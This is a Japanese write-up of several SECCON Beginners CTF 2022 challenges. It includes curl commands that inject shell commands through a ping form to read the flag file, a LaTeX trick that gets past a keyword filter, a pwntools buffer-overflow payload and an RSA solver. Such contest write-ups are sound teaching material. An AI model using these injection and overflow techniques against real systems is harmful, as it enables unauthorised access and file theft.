SECCON Begginers CTF 2022 Write up

はじめに

SECCON Begginers CTF 2022に参加しました。前回参加したCTFがSECCON Begginers CTF2021な気がするので、1年ぶりのCTFでした。 チームは友人たちで自分含めて三人でした。 結果としては、チームで834pt、92位でした。

Web

Util (54 pt)

フォームに入力されたIPに対してpingコマンドが実行されるページが与えられます。 また、与えられたコードを見ると実行されているpingコマンドを組み立てているところは普通に複数のコマンドを繋げられそうです。

        r.POST("/util/ping", func(c *gin.Context) {
                var param IP
                if err := c.Bind(&param); err != nil {
                        c.JSON(400, gin.H{"message": "Invalid parameter"})
                        return
                }

                commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
                result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

                c.JSON(200, gin.H{
                        "result": string(result),
                })
        })

また、別で与えられたDockerfileを見ると/flag_<randam>にFLAGが書き込まれていることがわかります。 なので、以下のコマンドを実行するとFLAGが手に入ります。

$ curl -X POST 'https://util.quals.beginners.seccon.jp/util/ping' -H 'Content-Type: application/json' -d '{"address": "1.1.1.1; ls /"}'
$ curl -X POST 'https://util.quals.beginners.seccon.jp/util/ping' -H 'Content-Type: application/json' -d '{"address": "1.1.1.1; cat /flag_A74FIBkN9sELAjOc.txt"}'

textex (92 pt)

フォームに入力されたTeXをPDFにしてかえしてくるページが渡されます。 また、渡されたコードを見るとflagという文字列が含まれていると.texファイルの中身が空になりエラーとなるようです。 ほかにもディレクトリ内にFLAGが書かれたファイルが置かれていることもわかります。 なので、ほかのファイルを読み込む\inputを使うことを考えました。 また、flagのチェックを回避する方法としてコメントアウトでやる方法を考えました。 ここまでで、以下のようになります。

\documentclass{article}
\begin{document}

This is a sample.
\input{fl%
ag}

\end{document}

しかし、このままだとエラーになります。 ローカルで動かすと動作するため、FLAG内にTeXとして解釈される記号が含まれていると思いました。 そこで、いろいろググった結果verbatim環境を使うと行けそうです。 最終的に以下のようになりました。

\documentclass{article}
\usepackage{verbatim}
\begin{document}

This is a sample.
\verbatiminput{fl%
ag}

\end{document}

途中、実行時間とかの問題があるのかと思っていましたが結果としてはinputで記号が入ってたことが原因ぽかったです。

gallery (83 pt)

これは途中までチームメンバーが解いていたので、FLAGが含まれたPDFファイルがレスポンスのサイズ制限で取得できないようです。 ググったところHTTPリクエストにRangeヘッダーが存在することがわかり、これが使えそうです。 参考: developer.mozilla.org なので、Rangeヘッダーを使ってリクエストを送りローカルでつなげてPDFを手に入れます。

curl -H 'Range: bytes=0-10239' 'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' > 1.out
curl -H 'Range: bytes=10240-20479' 'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' > 2.out
cat 1.out 2.out > answer.pdf

これで、answer.pdfを開くとFLAGが書かれています。

Misc

phisher

これはチームメンバーがほぼやってくれたのでざっくりとだけ www.example.comを構成する文字を使わずにOCRwww.example.comと認識させる文字を送る問題です。 これは与えられたコードを見ると使われているフォントがわかるので、そのフォントを見ながらw -> ωみたいな感じでやります。 .が最期の難関でしたが、Unicode表から.を検索して探してきたそうです。  

H2 (69 pt)

パケットキャプチャの結果とサーバーのコードわたされます。 サーバーのコードを見ると、正解のパスにアクセスされるとx-flagにFLAGを書き込んで返すように見えます。 そして、Wiresharkでパケットキャプチャの結果を開き、http2.header.name == "x-flag"でフィルターをかけると正解のパケットが見つかります。

Pwn

BeginnersBof (84 pt)

タイトルと与えられたコードを見ると、バッファオーバーフローでmain関数からのリターンアドレスを書き換えて、FLAGを出力するwin関数へ飛べばよさそうにみえます。 途中で、gdbとか使いながらなんとかソルバーを書きました。 なんか、うまいことリターンアドレスに入らなかったんですよね。 ちょっとこのあたりのバイナリとかの知識がまだ足りない感じがします。 以下のコードもすごいむりやりです。

from pwn import *

io = remote('beginnersbof.quals.beginners.seccon.jp', 9000)

io.recvuntil(b'?')
io.sendline(b'1000')
io.recvuntil(b'?')
io.sendline(b'A'*24+b'\x01\x01\x01\x01'+b'\x00'*12+b'\xe6\x11\x40\x00\x00\x00\x00\x00'*2)
print(io.recvline())
print(io.recvline())
print(io.recvline())

Reversing

Quiz (50 pt)

これは、与えられたバイナリをradare2で解析したらそのままFLAGが書かれていたので、これで終わりです。

WinTLS (100 pt)

これは、ウィンドウが開き、そこに入力された文字列とFLAGを比較する感じのexeファイルが与えられます。 バイナリを見ると二つに分割されたFLAGが書かれていますが、ちょっと順番が工夫されているのでそのままでは読めません。 いろいろバイナリを読んでみたのですがわからなかったので、IDAで実行し、入力にabcdefg...を与えて、それぞれの文字が分割されたFLAGのどちら側になるかを見て、あとは手動で復元しました。

Crypto

CoughingFox (55 pt)

これは、与えられたコードを見ると、FLAGの各文字列に対してインデックスと和をとり2乗してインデックスを足した結果をシャッフルしていることがわかります。 output.txtのそれぞれの要素で、平方数との差をとっていいかんじにすればいいとわかったので、CTF初参加のチームメンバーに解けそうな問題だよと言って渡しました。

PrimeParty (127 pt)

こちらから3つの任意の素数をnに追加できるRSA暗号です。 なので、十分に大きな素数を用意してこちらから与えた素数のみを使ってRSA暗号を解くとそのままFLAGが復号できます。 これ、実は素数一つで行けるはずなんですがうまくいかなかったので2つ使ってます。

from Crypto.Util.number import *
from pwn import *

bits = 255

io = remote('primeparty.quals.beginners.seccon.jp', 1336)

io.recvuntil(b' > ')
prime1 = getPrime(bits)
print(prime1)
io.sendline(str(prime1).encode())

print(io.recvuntil(b' > '))
prime2 = getPrime(bits)
print(prime2)
io.sendline(str(prime2).encode())

print(io.recvuntil(b' > '))
prime3 = getPrime(bits)
print(prime3)
io.sendline(str(prime3).encode())

print(io.recvline())
print(io.recvline())
n = int(io.recvline().decode('ascii').replace('n = ', ''))
e = int(io.recvline().decode('ascii').replace('e = ', ''))
c = int(io.recvline().decode('ascii').replace('cipher = ', ''))

print(c)
l = (prime1-1)*(prime2-1)
d = inverse(e, l)

print(long_to_bytes(pow(c, d, prime1*prime2)))

おわりに

ひさしぶりのCTFでしたので基本的な問題を一通り解くみたいな感じにできてよかったとは思っています。 新しいことができた的な意味では、ブランク分成長してないですね。 まあ、CTFはまったりやります。